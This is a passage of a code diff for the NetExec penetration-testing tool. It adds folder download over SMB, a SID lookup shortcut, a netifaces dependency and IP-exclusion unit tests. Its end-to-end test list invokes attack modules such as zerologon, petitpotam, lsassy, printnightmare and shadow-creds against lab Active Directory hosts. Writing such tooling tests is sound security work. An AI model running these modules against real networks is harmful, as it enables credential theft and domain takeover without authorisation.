     files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
+    files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
+    files_group.add_argument("--recursive", default=True, action=BooleanOptionalAction, help="Recursively get a folder")
+    files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading")
     files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
 
     cmd_exec_group = smb_parser.add_argument_group("Command Execution")

nxc/protocols/smb/samrfunc.py

@@ -6,6 +6,7 @@ from impacket.dcerpc.v5 import lsat, lsad, samr
 from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
 from impacket.nmb import NetBIOSError
 from impacket.smbconnection import SessionError
+from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
 from nxc.helpers.rpc import NXCRPCConnection
 
 
@@ -143,7 +144,9 @@ class LSAQuery:
 
     def lookup_sids(self, sids):
         """Use a list comprehension to generate the names list.
-
-        It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
+        If the user is requesting a single SID and it is a well known SID, return the well known SID name to avoid a lookup.
+        Otherwise, it calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
         """
+        if len(sids) == 1 and sids[0] in WELL_KNOWN_SIDS:
+            return [WELL_KNOWN_SIDS[sids[0]]]
         return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]

poetry.lock

@@ -1652,6 +1652,46 @@ files = [
 [package.extras]
 nicer-shell = ["ipython"]
 
+[[package]]
+name = "netifaces"
+version = "0.11.0"
+description = "Portable network interface information."
+optional = false
+python-versions = "*"
+groups = ["main"]
+files = [
+    {file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1"},
+    {file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4"},
+    {file = "netifaces-0.11.0-cp27-cp27m-win32.whl", hash = "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1"},
+    {file = "netifaces-0.11.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85"},
+    {file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea"},
+    {file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89"},
+    {file = "netifaces-0.11.0-cp34-cp34m-win32.whl", hash = "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4"},
+    {file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4"},
+    {file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b"},
+    {file = "netifaces-0.11.0-cp35-cp35m-win32.whl", hash = "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac"},
+    {file = "netifaces-0.11.0-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be"},
+    {file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1"},
+    {file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0"},
+    {file = "netifaces-0.11.0-cp36-cp36m-win32.whl", hash = "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7"},
+    {file = "netifaces-0.11.0-cp36-cp36m-win_amd64.whl", hash = "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8"},
+    {file = "netifaces-0.11.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246"},
+    {file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5"},
+    {file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9"},
+    {file = "netifaces-0.11.0-cp37-cp37m-win32.whl", hash = "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150"},
+    {file = "netifaces-0.11.0-cp37-cp37m-win_amd64.whl", hash = "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5"},
+    {file = "netifaces-0.11.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c"},
+    {file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3"},
+    {file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4"},
+    {file = "netifaces-0.11.0-cp38-cp38-win32.whl", hash = "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048"},
+    {file = "netifaces-0.11.0-cp38-cp38-win_amd64.whl", hash = "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05"},
+    {file = "netifaces-0.11.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d"},
+    {file = "netifaces-0.11.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff"},
+    {file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f"},
+    {file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1"},
+    {file = "netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32"},
+]
+
 [[package]]
 name = "oscrypto"
 version = "1.3.0"
@@ -2953,4 +2993,4 @@ test = ["pytest", "pytest-cov"]
 [metadata]
 lock-version = "2.1"
 python-versions = ">=3.10,<4.0"
-content-hash = "56b728355fe920630c713760332f0af9f33297a02c524a6ed304384a4d62c78f"
+content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d"

pyproject.toml

@@ -31,6 +31,7 @@ dependencies = [
     "masky>=0.2.1",
     "minikerberos>=0.4.1",
     "neo4j>=5.0.0",
+    "netifaces (>=0.11.0,<0.12.0)",
     "paramiko>=3.3.1",
     "pefile (>=2024.8.26,<2025.0.0)",
     "pyasn1-modules>=0.3.0",

tests/e2e_commands.txt

@@ -44,6 +44,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-folder \\Windows\\Temp\\ /tmp/test_folder/
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --no-admin-check
 ##### SMB PowerShell
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
@@ -176,6 +177,13 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123
 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o DOWNLOAD=False
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" DOWNLOAD=False
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" ALL_PROPS=True DOWNLOAD=False
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" DOWNLOAD=False
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True DOWNLOAD=False
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True ALL_PROPS=True DOWNLOAD=False
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o ALL_PROPS=True DOWNLOAD=False
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lockscreendoors
 # test for multiple modules at once
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M printnightmare -M runasppl -M uac -M webdav -M wifi -M coerce_plus
@@ -245,6 +253,14 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
 netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers
 netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild
 netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath
+# Backup followed by revert restores the same Shadow Credentials state on the disposable test computer.
+netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list
+netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json
+netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json
+# These actions require the generated device ID for an automated round trip.
+#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add
+#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID
+#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID
 # resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI
 #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1
 ##### WINRM

tests/test_ip_excluseion.py

@@ -0,0 +1,311 @@
+from unittest.mock import patch
+
+from nxc.parsers.ip import get_local_ip, parse_exclusions, parse_targets
+
+
+class TestGetLocalIP:
+    """Test local IP detection functionality."""
+
+    @patch("netifaces.interfaces")
+    @patch("netifaces.ifaddresses")
+    def test_get_local_ip_success(self, mock_ifaddresses, mock_interfaces):
+        """Test successful local IP detection via netifaces."""
+        # Mock available interfaces
+        mock_interfaces.return_value = ["lo", "eth0", "wlan0"]
+
+        # Mock addresses for each interface
+        import netifaces
+        mock_ifaddresses.side_effect = lambda iface: {
+            "lo": {netifaces.AF_INET: [{"addr": "127.0.0.1"}]},
+            "eth0": {netifaces.AF_INET: [{"addr": "192.168.1.100"}]},
+            "wlan0": {}
+        }.get(iface, {})
+
+        result = get_local_ip()
+
+        assert result == "192.168.1.100"
+        mock_interfaces.assert_called_once()
+
+    @patch("netifaces.interfaces")
+    @patch("netifaces.ifaddresses")
+    def test_get_local_ip_skip_localhost(self, mock_ifaddresses, mock_interfaces):
+        """Test that localhost addresses are skipped."""
+        # Mock only loopback interface
+        mock_interfaces.return_value = ["lo"]
+
+        import netifaces
+        mock_ifaddresses.return_value = {
+            netifaces.AF_INET: [{"addr": "127.0.0.1"}]
+        }
+
+        result = get_local_ip()
+
+        assert result is None
+
+    @patch("netifaces.interfaces")
+    @patch("netifaces.ifaddresses")
+    def test_get_local_ip_skip_link_local(self, mock_ifaddresses, mock_interfaces):
+        """Test that link-local addresses (169.254.x.x) are skipped."""
+        mock_interfaces.return_value = ["eth0"]
+
+        import netifaces
+        mock_ifaddresses.return_value = {
+            netifaces.AF_INET: [{"addr": "169.254.1.1"}]
+        }
+
+        result = get_local_ip()
+
+        assert result is None
+
+    @patch("netifaces.interfaces")
+    def test_get_local_ip_exception_handling(self, mock_interfaces):
+        """Test when netifaces raises an exception."""
+        # Make interfaces() raise an exception
+        mock_interfaces.side_effect = Exception("Network error")
+
+        result = get_local_ip()
+
+        assert result is None
+
+
+class TestParseExclusions:
+    """Test exclusion parsing functionality."""
+
+    def test_parse_exclusions_single_ip(self):
+        """Test parsing single IP address."""
+        exclusions = ["192.168.1.10"]
+        result = parse_exclusions(exclusions)
+
+        assert result == {"192.168.1.10"}
+
+    def test_parse_exclusions_multiple_ips(self):
+        """Test parsing multiple IP addresses."""
+        exclusions = ["192.168.1.10", "10.0.0.1", "172.16.0.5"]
+        result = parse_exclusions(exclusions)
+
+        assert result == {"192.168.1.10", "10.0.0.1", "172.16.0.5"}
+
+    def test_parse_exclusions_cidr_range(self):
+        """Test parsing CIDR notation."""
+        exclusions = ["192.168.1.0/30"]  # Should expand to .1, .2
+        result = parse_exclusions(exclusions)
+
+        expected = {"192.168.1.0", "192.168.1.1", "192.168.1.2", "192.168.1.3"}
+        assert result == expected
+
+    def test_parse_exclusions_ip_range(self):
+        """Test parsing IP range notation."""
+        exclusions = ["192.168.1.10-192.168.1.12"]
+        result = parse_exclusions(exclusions)
+
+        expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"}
+        assert result == expected
+
+    def test_parse_exclusions_short_range(self):
+        """Test parsing short IP range notation."""
+        exclusions = ["192.168.1.10-12"]  # Should expand to 192.168.1.10-192.168.1.12
+        result = parse_exclusions(exclusions)
+
+        expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"}
+        assert result == expected
+
+    def test_parse_exclusions_hostname(self):
+        """Test parsing hostname (treated as string)."""
+        exclusions = ["example.com"]
+        result = parse_exclusions(exclusions)
+
+        assert result == {"example.com"}
+
+    def test_parse_exclusions_mixed_formats(self):
+        """Test parsing mixed IP formats."""
+        exclusions = [
+            "192.168.1.10",           # Single IP
+            "10.0.0.0/31",           # CIDR (expands to .0, .1)
+            "172.16.1.5-7",          # Short range
+            "test.local"             # Hostname
+        ]
+        result = parse_exclusions(exclusions)
+
+        expected = {
+            "192.168.1.10",
+            "10.0.0.0", "10.0.0.1",
+            "172.16.1.5", "172.16.1.6", "172.16.1.7",
+            "test.local"
+        }
+        assert result == expected
+
+    def test_parse_exclusions_empty_list(self):
+        """Test parsing empty exclusion list."""
+        exclusions = []
+        result = parse_exclusions(exclusions)
+
+        assert result == set()
+
+    def test_parse_exclusions_ipv6(self):
+        """Test parsing IPv6 addresses."""
+        exclusions = ["2001:db8::1"]
+        result = parse_exclusions(exclusions)
+
+        assert result == {"2001:db8::1"}
+
+
+class TestTargetFiltering:
+    """Test integration of exclusion filtering with target parsing."""
+
+    def test_target_filtering_excludes_single_ip(self):
+        """Test that single IP is properly excluded from target list."""
+        targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
+        exclusions = parse_exclusions(["192.168.1.2"])
+
+        filtered_targets = [target for target in targets if target not in exclusions]
+
+        assert filtered_targets == ["192.168.1.1", "192.168.1.3"]
+
+    def test_target_filtering_excludes_cidr_range(self):
+        """Test that CIDR range exclusions work properly."""
+        targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.10"]
+        exclusions = parse_exclusions(["192.168.1.0/30"])  # Excludes .0-.3
+
+        filtered_targets = [target for target in targets if target not in exclusions]
+
+        assert filtered_targets == ["192.168.1.10"]
+
+    def test_target_filtering_no_exclusions(self):
+        """Test that no exclusions leaves targets unchanged."""
+        targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
+        exclusions = parse_exclusions([])
+
+        filtered_targets = [target for target in targets if target not in exclusions]
+
+        assert filtered_targets == targets
+
+    def test_target_filtering_all_excluded(self):
+        """Test that all targets can be excluded."""
+        targets = ["192.168.1.1", "192.168.1.2"]
+        exclusions = parse_exclusions(["192.168.1.0/30"])  # Excludes .0-.3
+
+        filtered_targets = [target for target in targets if target not in exclusions]
+
+        assert filtered_targets == []
+
+    def test_target_filtering_mixed_formats(self):
+        """Test filtering with mixed target and exclusion formats."""
+        # Targets from parse_targets (simulated)
+        targets = []
+        for target_spec in ["192.168.1.1", "10.0.0.1-3"]:
+            targets.extend(list(parse_targets(target_spec)))
+
+        # Exclude some targets
+        exclusions = parse_exclusions(["192.168.1.1", "10.0.0.2"])
+
+        filtered_targets = [target for target in targets if target not in exclusions]
+
+        expected = ["10.0.0.1", "10.0.0.3"]
+        assert set(filtered_targets) == set(expected)
+
+
+class TestEdgeCases:
+    """Test edge cases and error conditions."""
+
+    def test_exclusions_with_invalid_ip(self):
+        """Test that invalid IPs are treated as hostnames."""
+        exclusions = ["invalid.ip.address"]
+        result = parse_exclusions(exclusions)
+
+        # Should be treated as hostname
+        assert result == {"invalid.ip.address"}
+
+    def test_exclusions_duplicate_handling(self):
+        """Test that duplicate exclusions are handled properly."""
+        exclusions = ["192.168.1.1", "192.168.1.1", "192.168.1.2"]
+        result = parse_exclusions(exclusions)
+
+        # Set should deduplicate
+        assert result == {"192.168.1.1", "192.168.1.2"}
+
+    def test_exclusions_case_sensitivity(self):
+        """Test hostname case sensitivity."""
+        exclusions = ["Example.COM", "example.com"]
+        result = parse_exclusions(exclusions)
+
+        # Should preserve case (hostnames are case-insensitive but we preserve input)
+        assert result == {"Example.COM", "example.com"}
+
+
+class TestConfigIntegration:
+    """Test config-based exclusion integration."""
+
+    @patch("nxc.config.exclude_hosts", ["192.168.1.10", "10.0.0.0/30"])
+    @patch("nxc.config.skip_self", False)
+    def test_config_exclusions_loaded(self):
+        """Test that exclusions are properly loaded from config."""
+        from nxc.config import exclude_hosts, skip_self
+
+        assert exclude_hosts == ["192.168.1.10", "10.0.0.0/30"]
+        assert skip_self is False
+
+    @patch("nxc.config.exclude_hosts", [])
+    @patch("nxc.config.skip_self", True)
+    def test_config_skip_self_enabled(self):
+        """Test that skip_self config option works."""
+        from nxc.config import skip_self
+
+        assert skip_self is True
+
+    def test_config_exclusions_processing(self):
+        """Test that config exclusions are processed correctly."""
+        # Simulate config values
+        config_exclusions = ["192.168.1.10", "10.0.0.0/30"]
+
+        # Process exclusions the same way as in netexec.py
+        excluded_ips = set()
+        if config_exclusions:
+            excluded_ips.update(parse_exclusions(config_exclusions))
+
+        expected = {
+            "192.168.1.10",
+            "10.0.0.0", "10.0.0.1", "10.0.0.2", "10.0.0.3"
+        }
+        assert excluded_ips == expected
+
+
+class TestConfigValidation:
+    """Test config validation and error handling."""
+
+    def test_malformed_exclude_hosts_syntax_error(self):
+        """Test that malformed exclude_hosts syntax is handled gracefully."""
+        from ast import literal_eval
+
+        # Simulate what happens in config.py with malformed input
+        malformed_inputs = [
+            "[192.168.1.1]",  # Missing quotes
+            "[192.168.1.1, 10.0.0.1]",  # Multiple without quotes
+            "192.168.1.1",  # Plain string
+            "",  # Empty string
+        ]
+
+        for malformed_input in malformed_inputs:
+            try:
+                result = literal_eval(malformed_input)
+                # If we get here, it didn't fail as expected
+                assert isinstance(result, list), f"Expected list for valid input: {malformed_input}"
+            except (ValueError, SyntaxError):
+                # This is expected behavior - should gracefully handle the error
+                # In actual config.py, this would fall back to empty list
+                assert True
+
+    def test_exclude_hosts_type_validation(self):
+        """Test that non-list values are rejected."""
+        from ast import literal_eval
+
+        # Test inputs that parse successfully but aren't lists
+        non_list_inputs = [
+            '"192.168.1.1"',  # String instead of list
+            "192",  # Integer
+            "True",  # Boolean
+        ]
+
+        for input_val in non_list_inputs:
+            result = literal_eval(input_val)
+            # Should validate that result is a list
+            assert not isinstance(result, list), f"Input {input_val} should not be a list"

uv.lock

@@ -1374,6 +1374,7 @@ dependencies = [
     { name = "masky" },
     { name = "minikerberos" },
     { name = "neo4j" },
+    { name = "netifaces" },
     { name = "paramiko" },
     { name = "pefile" },
     { name = "pyasn1-modules" },
@@ -1417,6 +1418,7 @@ requires-dist = [
     { name = "masky", specifier = ">=0.2.1" },
     { name = "minikerberos", specifier = ">=0.4.1" },
     { name = "neo4j", specifier = ">=5.0.0" },
+    { name = "netifaces", specifier = ">=0.11.0,<0.12.0" },
     { name = "paramiko", specifier = ">=3.3.1" },
     { name = "pefile", specifier = ">=2024.8.26,<2025.0.0" },
     { name = "pyasn1-modules", specifier = ">=0.3.0" },
@@ -1442,6 +1444,12 @@ dev = [
     { name = "shiv" },
 ]
 
+[[package]]
+name = "netifaces"
+version = "0.11.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a6/91/86a6eac449ddfae239e93ffc1918cf33fd9bab35c04d1e963b311e347a73/netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", size = 30106, upload-time = "2021-05-31T08:33:02.506Z" }
+
 [[package]]
 name = "oscrypto"
 version = "1.3.0"